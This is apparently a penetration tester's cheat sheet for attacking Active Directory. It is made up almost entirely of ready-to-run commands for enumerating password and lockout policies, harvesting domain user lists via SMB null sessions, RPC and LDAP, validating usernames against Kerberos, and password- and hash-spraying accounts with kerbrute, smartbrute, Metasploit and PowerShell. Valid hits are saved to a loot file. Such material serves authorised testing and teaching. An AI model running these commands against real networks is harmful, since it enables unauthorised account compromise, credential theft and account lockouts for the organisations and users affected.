Enumerate password policy in the domain:
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess
Example of net accounts
output:
Name (EN) | Name (RU) | Value |
---|---|---|
Minimum password age (days): | Минимальный срок действия пароля (дней): | 1 |
Maximum password age (days): | Максимальный срок действия пароля (дней): | 90 |
Minimum password length: | Минимальная длина пароля: | 10 |
Length of password history maintained: | Хранение неповторяющихся паролей: | 24 |
Lockout threshold: | Блокировка после ошибок ввода пароля: | 7 |
Lockout duration (minutes): | Длительность блокировки (минут): | 30 |
Lockout observation window (minutes): | Сброс счетчика блокировок через (минут): | 30 |
- https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/
- https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/
- https://github.com/n00py/GetFGPP
- https://en.hackndo.com/password-spraying-lockout/
- https://github.com/login-securite/conpass
Map FGPPs to the users they're being applied to (need admin privileges by default):
ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
$appliesTo = $fgpp | select -ExpandProperty AppliesTo
$objectClass = (Get-ADObject $appliesTo).ObjectClass
Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
$fgpp | Out-Host
If ($objectClass -eq "group") {
Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
}
ElseIf ($objectClass -eq "user") {
Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
}
}
{% hint style="info" %}
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied
or msDS-ResultantPSO
properties populated (can be read by a regular user) from the spray list.
Check if exists:
PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO
{% endhint %}
- https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions
- https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/
{% content-ref url="/pentest/infrastructure/ad/rid-cycling.md" %} rid-cycling.md {% endcontent-ref %}
If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.
Another approach is to manually request all users via RPC ($IPC
share):
- CrackMapExec:
$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
- rpcclient:
$ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
- net:
$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'
- smbclient (check):
$ smbclient -N -U '' -L 192.168.1.11
$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
$ nullinux.py 192.168.1.11
Query LDAP for all domain user accounts via GetADUsers.py:
$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out
Query LDAP for all domain user accounts via windapsearch:
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
Query LDAP for all active domain user accounts via go-windapsearch:
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt
$ python3 pywhisker.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --target-list users.txt --action spray -v
msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run
- https://github.com/ropnop/kerbrute
- https://github.com/urbanadventurer/username-anarchy
- https://github.com/captain-noob/username-wordlist-generator
- https://gist.github.com/superkojiman/11076951
Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't cause accounts lock out):
$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt
Perform password spraying for discovered accounts:
$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt
$ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp
Spray single hash against a list of users:
$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --dc-ip 192.168.1.11
Get domain password policy and active users:
$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
Launch smart password spray with a hash:
$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11 kerberos
PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt